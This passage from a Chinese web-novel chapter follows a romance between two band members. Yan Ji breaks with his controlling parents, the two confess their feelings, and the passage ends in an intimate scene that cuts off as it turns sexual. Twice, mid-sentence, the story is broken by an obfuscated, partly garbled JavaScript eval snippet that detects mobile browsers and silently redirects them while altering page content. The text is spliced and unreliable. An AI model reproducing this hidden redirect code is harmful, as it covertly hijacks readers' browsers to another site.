他冷漠地看着这个体力上已经无法和自己对抗的父亲,对着民警也对着他,沉声道:“我是目击证人,家里也有监控,证据很充足。” 在这一刻,这两个病态到极端的父母露出了鲜有的惊恐与诧异,仿佛站在他们面前的是一个未曾谋面的陌生人,如此决绝,不受一丝一毫的情感牵绊。 这太超出他们意料了。这么多年,从小到大,严霁在他们心中都是最乖顺懂事的孩子,体贴父母,孝顺长辈,从没有过叛逆期,按部就班地按照他们的规划一步步成长,从无逾矩。 他们不明白,这样温驯的孩子,怎么会在成年之后突然变得叛逆,裸辞,放弃现有的一切,搞了他们最理解不了也看不上的摇滚乐队,说自己喜欢男人,简直像是突然得了失心疯。 最可怕的是,这个从不对他们说“不”的孩子,竟然在此刻变得如此绝情。 他们从没有真正地认识过自己的儿子,一刻都没有。 挂断报警电话后,严霁甚至没有多看一眼他的父母,只是转过头,温声对迟之阳说:“先去主卧休息一会儿吧,这里我来处理。” 迟之阳当然不愿意,双手下意识拖住了严霁的手腕:“我哪儿都不去。” 我就要在这儿陪着你,谁都不许欺负你。 严母哭泣不止,而严父则强撑出一副厉色,发问道:“严霁……你就为了这么一个人,要和我们翻脸决裂,是吗?” 严霁终于用正眼看向他们,神色漠然:“我是为了我自己。” 他停顿片刻,看向抬起头的母亲,对她说:“刚刚你那一巴掌,打在了两个人的脸上。” 严母对自己的孩子多少有些了解,听见这句不禁一怔,泪水都止住,从沙发上起身,慌忙道:“小霁,你听妈妈说……” “好了。”严霁平静地打断了她,“到此为止吧。” 看着试图挽回的严母,尝试继续威胁的严父,作为旁观者的迟之阳却在这时候清楚地意识到,严霁是真的暴怒了,只是他的愤怒与崩溃和任何人都不同,是静默无声的。 民警比他想象中来得更快,看见被撬开的门锁便展开问询,一听见是和父母的矛盾,他们并没有太惊讶,开始劝导。 但才刚刚开口,严霁就打断了:“被打的不是我。打人的这位女士和被打的受害者没有任何亲缘关系,是很单纯的民事纠纷,所以不需要劝解了警察同志,我们直接走流程,麻烦了。” 在民警面前,严霁父母开始哭诉、打闹,场面再度失控,而严霁则带着迟之阳去派出所验伤、做笔录。 离开时,冷静下来的迟之阳有些忐忑,他没想到最后事情会发展成这样,儿子报警让警察上门抓自己爸妈。电视剧也不敢这么写啊? 偏偏他好像还成为其中的一环了。 “严霁,真的要去验伤吗?我觉得没那么严重,不疼的,她能使多大劲儿啊,再说了,她是你妈,我不想因为我……” 严霁却很执着:“一巴掌也可能致聋,你是鼓手,如果真的受到影响,我一辈子都不会安心的。” 那你养我一辈子呗。迟之阳在心里碎碎念,但还是没好意思说出口,显得自己像个趴在他车跟前碰瓷的大爷。 “那你家那边怎么办?他们把人带走了,你家门还是坏的呢,万一有人去偷东西怎么办?” 迟之阳刚说完,忽然发现严霁扭头看向了他。他们站在十字路口的交通灯前,车来车往,带起一阵阵的风。严霁的衣摆被吹开,又落下。 红灯转绿,严霁嘴角微不可见地扬了扬。 “没事,最重要的已经带走了。” 说完他走向斑马线,迟之阳慢了半拍,反应了一下,忽然觉得不对。 “你还开玩笑啊?我认真的!”他追上严霁,“真就那么敞着大门啊!” “给物业打过电话了。放心吧,小管家。” 这一天过得魔幻,警局里又闹了一场。等他们走完流程回去已经是下午两点。 回去的路上,他们肩并肩走着,天很冷,风像软刀子似的刮在脸上,生疼。迟之阳不断地偷瞄严霁,很担心他的状况。 更令他担心的,是这场闹剧要如何收场。严霁的父母那么疯狂,他不觉得一次报警就能让他们善罢甘休。更何况在派出所里,民警也明确地表示了无奈,他们最怕家事,家事最难解决。 可严霁像是有读心术似的,忽然开口:“还在替我发愁?” “你怎么知道?”迟之阳有些惊讶。 “都写脸上了。”严霁眼里没有笑意,只是扬了扬嘴角,“放心吧,我有解决的办法。” “什么办法?”迟之阳更发愁了,“怎么样都是父母,我刚刚还悄悄问了,断绝关系什么的,法律是不认可的……” “嗯,这我早就知道。”严霁一点也不意外,仿佛早就为此咨询过。 而令迟之阳没想到的是,一向不袒露自己计划的严霁,竟然对他毫无保留地讲出了自己的决定。 “刚刚在派出所的时候,我已经把他们都拉黑删除了,明天去换张手机卡。” “这样就可以了吗?可是他们想找你的话,总会有办法的。” “你说得对。”严霁点头,继续说,“但是我已经下定决心要断联了。他们不了解我,但我很了解他们,他们都是体制内的工作,社会地位高,最好面子,什么都比不过他们在亲戚朋友和学生前的脸面,这也是我能拿捏的地方。” 严霁告诉他:“在拉黑之前我给他们发了很长的信息,大概意思是,我保存了至今为止他们精神折磨我、控制我的证据,房子里的监控就是为他们装的,里面有数不清的视频证据,随便一个发出去就是舆论海啸。如果不想鱼死网破,闹到全世界看笑话,就不要试图联络我,否则我会把所有东西都发到家庭群、微信朋友圈和我的微博。” 迟之阳听完,一个字都说不出来,只能震惊地望着他。 “是不是很吓人?”严霁笑着说,“我很恐怖吧。” “怎么会?”迟之阳拉住他的手臂,“我只是,很难过。” 严霁愣了一秒,“难过什么?” “怎么会被逼成这样……”迟之阳垂下了眼,觉得自己好像比严霁还痛,“那你以后就没有……” 他没办法说完这句话。 “不用为我难过。”严霁平和地说,“之前我努力过了,对我来说,包容他人好像是一种天性,更别说是对父母了,但这不意味着我没有底线。一旦突破这层底线,我就彻底醒悟了。” “这个矛盾是不可调和的,所以这段亲缘关系也是必然要断绝的。”严霁语气很轻描淡写,“就像关上了一扇门,仅此而已。” “这个房子我之后也会卖掉……” 迟之阳惊到直接打断:“卖房子??” 这么大的事,怎么说得好像卖水果似的。 严霁完全知道他在想什么:“这不是突发奇想,我在比赛期间就联系了中介,把房子挂了出去,已经有很多人看过房了。” 他知道自己一旦辞职搞乐队,迟早会有这么一天,因此早有准备。 “正好有个买家,孩子急着上学,意愿很强烈,这个月大概率就能签合同。” 这些都是迟之阳所不知道的。他忽然有些愧疚,自己和严霁朝夕相处这么久,竟然迟钝到一无所知。 “那……那你卖了房,住哪儿啊?” 他光顾着看严霁,都没发现人行红灯,但严霁很及时地拉住了他的手腕。 “睡隧道吧。”严霁竟然还开了个玩笑。 “你还笑得出来啊。”迟之阳想哭,“要不,要不你去我家?不是,是我爷爷家……” 严霁有些惊讶。他和他爷爷的关系自己是知道的,小时候迟之阳没少挨过打,提起来都气得牙痒痒,自己成年后都没再回去过。 掏心掏肺的小傻子。 严霁揉了一把他的头发,不再逗他:“我已经安排好了,之前请假不只是去找汪琦办事,还去看了几套出租的公寓,刚刚微信联系了中介,付了定金,看好的房产也有不少,正好不用比赛了,没事儿还能去看看房子。” 迟之阳惊讶于严霁的缜密,又对自己的一无所知有些沮丧。 “说卖就卖,说买就买,你可真有钱。” 严霁笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727053|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“其实我在辱骂上司并裸辞之前,也是个非常优秀的金融民工,风口上赚了不少。” “你骂他了?”迟之阳注意力却完全跑偏,一点儿没在乎钱的事儿,只是为严霁出口骂人而震惊,“你骂他什么了?” 不知不觉他们都快到家,严霁却还是像以往一样,只说“你猜”。 可迟之阳一回到这里,就想到上午发生的事,还是心有余悸,没心情猜,也没有拿脑袋顶他了。 严霁倒也没说什么,出电梯后,若无其事地来到家门口,仿佛什么都没发生过似的。 “先进来吧,换锁师傅还要半小时。” 跟着进门,迟之阳下意识弯腰换鞋,忽然看见自己带来的花束和蛋糕,吓了一跳,这才想起原来今天是他决心要表白的日子。 但很显然,这是个糟透了的日子。 都怪他出门前没有翻老黄历。迟之阳心里纠结,想着要用什么样的理由把花和蛋糕的事搪塞过去。 蛋糕还好,这束花……他看了一眼,差点儿背过气去,这也太大一束了,当时就不应该听花店小哥忽悠,一口气买了52朵白玫瑰。这下说买蛋糕送花儿也没人信了。 “脸要冰敷一下。”严霁沉声说完,进屋朝厨房走去,“我取点冰,你先去沙发。” “不用!”迟之阳没脸过去了,一屁股坐在门后面,背靠着门板,“我、我替你堵着门好了,万一他们气不过又跑回来呢……” 他没听到严霁的声音,但两分钟后,他拿着被毛巾裹好的冰袋回到了玄关,面对面坐在了迟之阳的面前。 迟之阳有些不好意思,没脸看他,于是匆匆接过冰袋:“我自己来就好。” 严霁倒也没拒绝,只是沉默。他静了片刻,转过脸,伸手拎起被扔在玄关的蛋糕盒。 “哎!”迟之阳急了,跟被踩了尾巴似的,“那个估计都撞坏了,吃不了了。” 他好怕严霁这时候突然问:突然买蛋糕干嘛?你不是知道我戒糖? 又或者更直白点:为什么要说你勾引我?为什么要带花和蛋糕出现在我家门口?是不是想做点什么。 就像他那晚索吻失败时那样。 可严霁什么都没说,只是安静地将盒子拿到他们两人之间,打开来。的确,里面的草莓蛋糕已经被摔得挤到一边,不成样子,简直是迟之阳这辈子见过最狼狈的蛋糕。 “你看,我就说吧……”迟之阳语气有些沮丧,手撑着冰袋,叹了口气,“别吃了。” “买这个干嘛?”严霁垂着眼,声音很轻。 来了,果然要问了。 迟之阳头皮发麻,尴尬之余有些难过,他还没想好借口:“就是……” “庆祝我今天重获新生?”严霁扯出一丝笑意,“看不出来,小阳老师不仅会开机甲,还会预知未来。” “别开玩笑了。”迟之阳盯着他。 我心疼得都要哭了。 “严霁。”他伸出手,握住严霁的手腕,像个做错事的小孩儿,“对不起,我今天太冲动了,而且又骂人了,明明都答应过你的……” 谁知就在他认真道歉的时候,严霁竟然用食指沾了点奶油,抹在他鼻尖上。 迟之阳愣了一秒,立刻皱眉:“你怎么这样!” 我可是特别特别认真地在忏悔和反省啊。 气不过,他也有样学样,往严霁的脸颊抹了奶油。 严霁居然还手了。一向爱干净的他挖了一大团,抹在迟之阳的脸颊上。迟之阳怎么肯认输,震惊地加倍报复。 他们像两个七八岁的小孩儿,在快乐的生日派对上发起奶油战争,不甘示弱,最后双双笑了出来。 这明明是他们儿时都不曾有过的经历。 看着严霁沾着奶油的、开怀的笑脸,迟之阳眼泪在眼眶里打转,很想哭,但忍住了。 而严霁却清楚地看见了,拿纸巾沾去他的眼泪,又轻柔地擦他脸上的奶油:“以前从来没有人维护我,你是第一个。” 迟之阳听了更是难过:“你本来就没做错。” “是吗?”严霁语气很随意,“喜欢男人不是错吗?” “当然不是!” “那喜欢你呢?” 迟之阳怔在原地,感觉身边的一切都静止了。他只能闻到甜蜜的奶油香气,只听得见自己的心跳。 严霁苍白的脸被玄关的暖灯照亮,底色却还是冷的。他说完这句话,收回了手,攥紧了纸巾。 “预演系统”瓦解,他曾经以为自己会得心应手地将这个人引到自己身边,一步步让他落入陷阱,接受他的示好,水到渠成地从朋友转变成恋人。 但这一刻他什么都不在乎了,所有的技巧都失效,他拿下所有的面具,露出最真实最不堪的自己,自暴自弃地向迟之阳袒露心声,用最普通、最没有章法的方式。 他抬眼,轻声说:“我很早就喜欢你了,比你想象中更早。记得之前对你说过的吗?我看过你打鼓的视频,其实更准确说,我看过你上传的每一个视频。我是因为你选择加入恒星时刻的,也是因为你,忽然决定换一种活法。” 迟之阳诧异到说不出话,只能望着严霁。 “那个刺激的,张牙舞爪的,能让我活过来的人。”严霁看着他,眼神很诚恳,闪着柔软的光,“我早就找到了。” “不是巧合,我就是为他而来的。” 迟之阳几乎无法相信,这一切来得太多也太快了。 “我?” 怎么会是我呢? 而严霁却覆上了他的手,干燥温暖的掌心盖上他手背上的太阳刺青:“就是你呀,你救了我整整两次。” 他不再游刃有余,露出从未有过的青涩笑容,甚至紧张到嗓子发紧。 “迟之阳,我可以……做你的副驾驶员,陪你驾驶‘危险流浪者’吗?” 46. 恒星时刻严迟番外(七) 从记事起,迟之阳就意识到,获得一样他非常渴望的东西,对他而言是非常困难的事。 从儿时的玩具、糖果、去游乐场玩耍的机会,到长大后的兴趣班、架子鼓、很想去看的乐队演出,这些东西,他都必须开口去“讨”。因为从小就被父母拒绝,迟之阳的自尊心越垒越高,宁愿自己咬牙省出来,也不想再去求。 他知道,自己今天带着花和蛋糕迈出这一步,其实无异于青春期时踌躇地站在父亲或母亲家门前,忐忑地犹豫要不要敲开他们的门,要不要开口,向他们讨要一样期待已久的东西。 不,甚至比所有累积起来更重、更艰难,因为严霁是他有史以来最想要的。 他从来没想过,打开这扇令人不安的门,这份礼物会主动掉进他怀里。 这棵树真的长了脚,是朝他走来的。 成长的十数年里,责骂多过夸奖,巴掌也远多过拥抱,他以为自己早就修炼出一个“不需要被爱”的金钟罩,用友情填补空白,自我欺骗。 听到严霁的表白后,金钟罩忽然裂开,那个藏在里面的小孩儿再也无处可躲。 他没有被好好养大,所以从来没有真正长大过。 于是听到严霁询问可不可以的时候,迟之阳哭得像个孩子,越是想停,越是哭得厉害。 “嗯,嗯……”他连完整的一句话都说不出来,只能不断地点头,扑过去搂住了严霁的脖颈,埋在他肩头。 严霁也没想到,迟之阳第一次在清醒时哭成这样。他立刻拿开蛋糕,将迟之阳搂在怀里,轻拍他的后背哄他,像之前醉酒时那样。 “不哭了,好不好?”严霁声音也有些抖,被他放得很轻,“被我表白是很难过的事吗?” 迟之阳哭着,拼命摇头,搂得更紧了。 他发现自己好像有些无法呼吸了,但还没明白怎么回事,严霁好像就先一步意识到什么,开始解决问题。 “先松开,小阳。”严霁安抚地抚摸着迟之阳的手臂,暂时拉开这个怀抱,观察他的脸色,发觉他呼吸越来越急促,喘不上气似的,于是立刻伸出手掌,捂住了迟之阳的嘴,沉着道,“在我的手里深呼吸,慢慢来。” 迟之阳胸口剧烈地起伏,含着眼泪的眼睛始终望着严霁,深深地呼吸,一眨眼泪水都落到他指缝。 渐渐地,他开始平复,呼吸的频率逐渐下降。严霁这才松了口气。过了一会儿,他慢慢地松开自己的手,但另一只手仍在继续抚摸迟之阳的后背。 “没事了,慢慢吸气。”严霁见他有些瘫软,干脆将他揽入怀里,任他下巴垫在自己肩膀。 “你是哭得太急,过度换气导致呼吸性碱中毒了,没事的,一会儿就好了。”严霁拍着他的背,挨着他耳边说,“乖,不哭了,要不要抱你去床上休息?” 可迟之阳却拽着他的手臂摇头,平复了好一会儿,才开口。 “烦死了。”他还喘着,“好气……” 谁家好人被表白之后哭得差点儿背过气去啊!太丢人了吧! “不生气,刚刚缓过来呢。” 严霁仿佛能读懂他的心似的,抱着他轻声说:“我们可以重来一遍,前面的都cut掉,如果你想的话。” 迟之阳明显有点心动,抬起了脸。因为方才的小插曲,他的脸颊都涨得粉红,唇色也很红,沾着透明的水色。 但或许是觉得丢人,迟之阳又把脸抵在他肩窝,像蚊子叫一样很小声说:“双人驾驶可是很危险的……” “我不怕危险。”严霁语气里带了些许笑意,“而且我对我们之间的匹配度很有信心。” 迟之阳被他逗笑了,深深呼吸,从严霁的肩上抬起头,认真地望着他的双眼。 “严霁,我喜欢你,非常非常。”迟之阳瘪了瘪嘴,“你知道我的,我连两秒后会发生什么都懒得想,总是临时抱佛脚,所以总把事情搞得一团糟。但我昨晚想了整整一晚。” 想该说什么,怎么表白比较帅,甚至想好了被拒绝之后要怎么把面子找补回来。 严霁眼神中流露出明显的触动,抚摸迟之阳的脸颊。 “虽然还是搞得一团糟……” “不是的。”严霁告诉他,“本来我的今天注定就是一团糟,你出现之后,我才得救了。谢谢你。” 迟之阳抿着嘴唇摇头。想到刚刚自己连气都喘不上来的狼狈样子,他多少还是有些尴尬,但忽然间,迟之阳从中捕捉到什么。 “为什么你这么快就知道我是呼吸性碱中毒?”迟之阳抓住他的手,“是不是……和你的病有关?” 严霁没有回答。但迟之阳了解他,很多时候他的沉默就是回答。 他又一次感到心痛,原来喜欢一个人会变得这么敏感。 不久前的自己难受得快要死掉,如果不是有严霁,说不定真的会窒息。 那严霁呢?身边没有任何可以依靠的人,他是怎么捱过来的? 他抱住严霁,闷声说:“你这样真的很不公平,你对我简直一清二楚,可是我总是什么都不知道。” 严霁见他这样,仿佛被小动物柔软的爪子踩了踩。 他的鼻尖蹭了蹭迟之阳的发顶:“以后不这样了。都会告诉你的。” “你说的。”迟之阳抬起头,一副要让他记住的架势,“双人作战的驾驶员要对彼此绝对坦诚,有神经交互的。” 严霁笑了,点点头:“我发誓,绝对坦诚。” “这还差不多。”迟之阳拉住他的手,“以后每一次去医院看病,都要带上我,不可以一个人。” 严霁微笑:“好。” 于是迟之阳也笑了,静了一会儿,他忽然说:“严霁,谢谢你。” “谢什么?”严霁摸着他的头发。 “谢谢你信任我。”迟之阳的脸上是从未有过的郑重,“愿意把一切都分享给我。” 严霁有些鼻酸,伸出手指,刮了刮迟之阳的鼻梁:“学得真快。” “那当然,我很聪明的。”迟之阳挑挑眉。 丧尸来了都得晚点吃我,因为我的脑子值得细品。 “想吃蛋糕吗?”严霁拆开蛋糕刀叉,忽然开始认真地切蛋糕,还是一个已经完全看不出是蛋糕的蛋糕。 “啊?”迟之阳有些为难,“都这样了,别吃了。” 但严霁已经切好了两份,并且重新规整了形状,抹了奶油,顶端放上草莓,在他的努力下,纸碟上的蛋糕看上去还是很可口。 看他真的吃了,迟之阳有些讶异:“你不戒糖啦?” “明天再戒吧,今天比较特殊。”严霁说着,很自然地弄下一小块喂给迟之阳吃。 迟之阳乖乖吃掉,望着严霁眨眼:“特殊?” 严霁垂着眼,认真地看着这块蛋糕,仔细品尝。 “今天是我开始人生中第一段恋爱的日子。”他说完,看向迟之阳,露出很温柔的笑容。 听到这句,迟之阳一下子就害羞起来,飞快拿起纸碟吃蛋糕,掩饰自己的不自在,想说点什么,可一开口就结巴。 “这、这个蛋糕还挺好吃的,是吧?” 严霁点头,随口问:“比上次那个好吃吗?” “上次?”迟之阳想起来,“啊,你说你前同事送你的那个?那还是那个比较好吃,奶油里面好像搁了草莓果酱和奶油奶酪……” 还没等他这个美食鉴赏家发表完评价,严霁便开口道:“我其实没有开蛋糕店的前同事。” 迟之阳呆住了:“什么?” 严霁吃掉最后一口,看向他:“是我专门买给你的。” 不过也不算完全撒谎,他是看到前同事发的朋友圈,才知道有这么一家甜品店,草莓蛋糕是招牌,好吃到她会找跑腿代购的程度。 于是严霁专程跑了一趟,那家店一天只做三个草莓蛋糕,他运气不错,买到最后一个。 “为什么要专门给我买啊……”迟之阳耳朵红透了。 “想见你。”严霁放下纸盘,“不想空着手去。” 这些都是迟之阳不知道的事。听过后,他心跳渐渐地加快了。 怎么会有这样的人啊。几秒前说要坦诚,立刻就变得这么坦率了,一个招呼都不打的。 跟他表白一样,毫无预警,弄得人猝不及防。 他只能转移话题,抽了抽纸给严霁擦脸:“我从来没见过你脸上这么脏过。” 严霁随口说:“以后会见到的。” “嗯?” 什么意思? 听不懂。迟之阳只是盯着严霁的脸,认认真真帮他清理上面的奶油,从脸颊到上眼睑——真不知道自己是怎么弄到眼皮上去的,睫毛上都是。 他凑过去,手撑着地面,鼻尖几乎要碰到严霁的鼻梁,轻手轻脚,很细致地帮他清理。 但忽然间,严霁抬眼了。 视线在极端的距离对上,在一瞬间,迟之阳受到某种甜蜜的蛊惑,脸无端地烫起来。 他其实是有些迷茫的,但就这么鬼使神差地凝神望着,视线垂下来,最终本能地落到严霁的嘴唇上。 “我要亲你。” 严霁觉得他可爱又霸道,干脆将主动权交给他,不置可否,只是微微地仰起脸,将距离缩短到极限。 下一秒迟之阳便亲了上来,很短促的一个吻,但依旧让严霁感受到他嘴唇的柔软。 而主动者却脸红到必须弹开的程度。 “就这样吗?”严霁还维持着那个等待被亲吻的姿态,轻声问。 “你还想怎么样啊……”迟之阳别扭地反问,可一看向严霁,又忍不住靠近,呼吸他身上混着奶油味的香气。 “你……你想怎么亲?”迟之阳紧张到快闭上眼,做好了任人鱼肉的准备。 谁知他等到的却是咚咚的敲门声,是修锁的师傅上门了。 气死了。 迟之阳扫兴地睁开眼,发现严霁竟然笑得非常开心,简直像个无忧无虑的高中生似的。 烦死了。还笑! “来了,稍等一下。” 他也被严霁拉起身,正要整理衣服见人,可猝不及防地被严霁揽住。在坏掉的门后,严霁轻而快地吻了一下他的耳垂,接着无缝戴上温和友善的社交面具,拉开门对师傅说“你好”。 迟之阳哪里受得了,跟炸了毛的猫似的,甩开他跑回房间躲起来。 等他再出来的时候,严霁已经开始做饭,屋子里只剩下他们两个。迟之阳甩着毛衣袖子离开卧室,在厨房溜达了一圈,蹭蹭又抱抱严霁,顺走两颗小番茄塞到嘴里,来到沙发。 到这时他才发现,茶几上摆着两个透明的文件袋和一张便签,便签上是严霁的手写字——小阳老师亲启。 搞这么正式?什么东西,让我看看。 当他打开时,却吓了一跳,其中一个里面装着的竟然是存折、理财合同和一堆卡。 他立刻收回去密封好,冲厨房里的严霁大喊:“我可管不了钱!” 我也不感兴趣,最多就是把手伸到你的钱包里暖一暖啦。当然,如果可以伸到别的更好的地方,钱包也就没那么香了。 可严霁戴着耳机,似乎没有听到他的话,于是迟之阳自己打开第二个袋子。 那里面装着厚厚一沓的病历和检查单。 迟之阳安安静静地、认真地读完了这个袋子里的一切。 过去他一直不懂,为什么严霁的身上总是贴着止痛贴?有时候是背,有时候是手臂,有时候还会头痛头晕,他以为是健身过度导致的疲劳,现在才知道,这些都是焦虑症躯体化的反应。 饭菜的香味飘来,他走到厨房,从背后紧紧地抱住了严霁,什么都没说。 那一晚严霁也是这样抱住他入眠的,从背后紧紧搂住他,像孩子搂着自己最心爱的安抚玩偶。 他失去了家人,成为荒原上唯一一棵孤独的树。一直以来可靠的、成熟的外壳在这个夜晚被剥离了,他埋在迟之阳的颈窝,无声地深深吸气,又沉重地呼出,循环往复,彻底地暴露了自己的脆弱。 在他好不容易睡着后,迟之阳小心翼翼翻过身,将严霁抱在怀中,学着他的样子,轻轻抚摸他的头发和后背,在心里挨个挨个念出严霁的每一个身体部位。 拜托你们不要痛,至少今晚不要。 奶奶保佑我,让他好好睡一觉吧。 之后的几天,迟之阳都陪着严霁,外出办理各种手续,或是回到家里整理和打包。他总是很谨慎,以防严霁父母再次出现,他好第一时间挡在严霁前面。 南乙的事也尘埃落定,乐队四人聚在严霁家吃火锅,商量春节假期的云南之旅,尽管最后这个计划也因为CB的决赛而暂且搁置了。 迟之阳本来都困到在沙发上睡着,一听到决赛消息,突然紧张起来,沿着沙发走来走去,为写歌发愁。秦一隅倒是放松,还是那副嘻嘻哈哈的鬼样子,从背后搂住南乙。 “我们今儿就在这儿睡吧!” 迟之阳急了,悄悄扯了一下严霁的袖子。 严霁挑眉:“这话难道不是应该问我吗?” “是啊!谁是房主啊!”迟之阳抓住严霁的手臂,威胁秦一隅。 “反正不是你。”秦一隅扭头看向严霁,“行吗Daddy?” “有事Daddy,无事小严同志是吧?别忘了我说的……” “明白!”秦一隅大喊,“素食主义万岁!” 什么鬼啊!什么素食主义?我们不是刚吃完火锅吗?那么多牛肉是狗吃的啊? 迟之阳摸不着头脑,就是单纯不想让秦一隅破坏他和严霁的二人世界。南乙留下就好。 在主卧的浴室洗完澡,已经接近零点,带着热腾腾的水汽出来,迟之阳一眼就看到了严霁——他穿着蓝灰色睡衣,戴着银丝眼镜,坐在床边认真地叠着什么。 他凑近一看,竟然是自己的一堆毛线帽。 什么时候一口气洗了? “怪不得我今天早上没找到,怎么全给我洗了啊!” 严霁闻声回头,笑了一下,温声说:“你还没醒的时候,我打开衣柜看到你的冷帽上沾了好多猫毛,好像是昨天在猫咖店弄上的,想帮你洗一下,洗一个有点浪费,就全洗了。” 迟之阳想象了一下那个画面,被逗笑了。 “怪不得有乐迷喊你男妈妈,哦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727054|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有daddy。” 连秦一隅都跟着乱叫。 严霁没有反驳。因为很多时候他确实会把迟之阳当成自己的小孩,也有很多时候,他想和迟之阳一起长大,实在矛盾。 “不困了?” 迟之阳摇头,看着收拾完毕的严霁,走过去靠在他肩头。很自然地,严霁握着他的肩膀,面对面扶住他的下巴,嘴唇触碰嘴唇,和他接了个温柔的吻。 从确定恋爱关系的那天开始,他们每天都会接很多这样的吻。严霁会充满珍视地抚摸他的脸颊,在暖热的气流里缠绵地轻吮嘴唇,弄得迟之阳呼吸急促,心跳加快,可是仅此而已,没有更进一步。 每次把他勾得心痒难耐,又不继续下去。 该不会是严霁不喜欢深吻吧?还是说他对我的牙齿有ptsd?怕我亲着亲着咬他舌头? 我又不是小狗! “不早了小阳,”严霁又一次停下来,声音比方才哑了一些,“该睡了,明天就要开始写歌了吧。” 可迟之阳这次却不愿意善罢甘休。 “我不。”他搂住了严霁的腰,埋在他胸前,坏心眼地啃咬他的锁骨,还开了个有些过分的玩笑,小声嘟囔,“你不会不行吧……” 没关系,不行我也喜欢你。 不过他的力道似乎没有掌握好,咬着咬着,迟之阳忽然听见严霁吃痛得抽气,于是立刻停下来,抬头盯住他。 “咬疼你了?”迟之阳眨眼。 严霁没回答,反而像是下达指令似的,说:“我看看你的牙。” 迟之阳像是条件反射一样捂住了自己的嘴,闷声反对:“不许看,烦死了。再看我就去箍牙!” 严霁笑了,手指勾了他的衣领,把人勾到自己怀里,低声说:“箍什么?这么可爱。” 本来迟之阳因为“可爱”两个字稍稍开心些,放下手,结果严霁又说。 “张牙舞爪的。” “你烦不烦啊!”迟之阳推了他一把,“你等我偷偷戴上牙套你就老实了,亲的时候刮你一嘴口子!” 他声音有些大,严霁抬了抬眉,指了指门外。迟之阳这时候才意识到南乙和秦一隅还在家里,再次捂住了嘴。 “让他们知道也没事吧。”严霁拉着他坐到床上。 其实唯一蒙在鼓里的只有你一个啊。 “再过段时间吧。”迟之阳靠上床头,“我想到秦一隅以后天天拿我俩开涮就烦……” 他说着说着,严霁已经将手指探到他嘴边,伸进来,摸他的牙齿尖,害他说话变得含糊不清。 严霁盯着他的嘴唇和牙齿,手指摸到其中一颗,像牙医似的,煞有介事地问:“这颗好像特别歪,怎么弄的?” 就快接近叠起来的虎牙了。 “就……舔的呗。”迟之阳几乎是要含着他的指尖说话了,他觉得好奇怪,但也还是没停下来,“换牙的时候总觉得痒痒的,老想舔,舔着舔着就歪了,也没人管啊。” “哦不对。”迟之阳说得认真,躲开严霁的手,“小乙管过我,在学校里他只要看到我舔牙,就会冷不丁拍我的后背,每次都吓我一跳。” “这样。”严霁的嘴角勾着点薄薄的笑,略点了点头,倾身靠过去,手臂撑着床头。 不知不觉间,他已经被严霁圈在怀里,无处可逃。 “怎么舔的?”严霁低声问着,拇指再一次摁住他的下唇,探进去,打开他的口腔。 “这样?”嘴唇印上来,随之探入其中的,换做湿润柔软的舌尖,带着薄荷的气味,探究似的舔.弄他光滑的牙齿。 迟之阳诧异地睁大了眼,心跳停了一秒。舌尖扫过齿列时,他头皮一阵发麻,当他以为严霁一定会循序渐进,让他一点点接受时,这个吻却毫无预警地直接探到最深。 “唔……”迟之阳没控制住闷哼出声,手也攥紧了严霁的手臂。 严霁扶着他的下巴,半逼迫地让他仰起脸,接受更深的吻,舌尖进进退退,裹弄纠缠,他甚至还在含混地发问:“是这样……舔的吗?” “唔……你……” 冰冷的眼镜框压在他滚烫的脸上,羞赧后知后觉爬上来,迟之阳打了一下他的肩,却反倒令严霁变本加厉,控住了他的后脑。水声愈发明显,啧啧作响。迟之阳腿脚发软,还没学好换气,喘得厉害。 严霁暂且放过了他,退出来,也摘下眼镜放到一边,捧着他的脸啄了啄嘴唇。而迟之阳条件反射地微微张开了嘴唇,接纳新一轮的亲吻。 “你说,歪了的能舔正吗?”抽出舌头时,严霁低低地说着不着边际的话,逗得迟之阳要骂他,严霁的舌尖又突然送进来,时机掐得刚好,一下一下,弄得迟之阳毫无办法,快要化成一滩水。 空气仿佛都变得粘稠,迟之阳第一次意识到,原来和喜欢的人接吻会舒服成这样。 “迟之阳……”严霁捧着他的脸,深深浅浅地亲吻他舍不得合上的嘴唇,“你怎么这么可爱?” 迟之阳浑身都开始发红发烫,变得很软,手轻轻搭着严霁的后颈,醉了似的,什么都不知道了,只想继续黏黏糊糊地让他亲。 谁知门外忽然传来声音,是秦一隅的,但不是对他们。 [小乙你喝水吗?] 听到这句话,迟之阳如梦初醒,原本迷糊的头脑回光返照几秒,试图推开严霁,胸口剧烈地起伏,“嘘……” 严霁却轻轻笑了一声,猝不及防地吻了上来,弄得迟之阳拧着眉哼出了声,更要命的,严霁握住了他的手腕,拉着探入他睡衣下摆,往上,直到迟之阳的手掌完全贴上他的胸口。 “你不是一直想摸吗?小色鬼。” 趁他睡着的时候,偷偷摸过好几次了。 什么小色鬼!你才是钓着人玩儿的讨厌鬼!心思被拆穿,迟之阳有些难堪,可又不舍得收回手,干脆咬着严霁的嘴唇,自暴自弃地装傻,吻到昏天黑地之际,他手指忍不住动了动,才揉了一小会儿,忽然就感觉不对劲了。 “别,等一下,不行……”他在严霁怀里躲着,夹住了腿,喘得厉害,“等会儿……” 严霁早就知道了。他对着自己有反应也不是头一回了。 只是这次他也不想装聋作哑。 他安抚地亲了亲迟之阳的脸颊,手却强硬地攥住他阻挡的手,拿开来,自己向下探去。 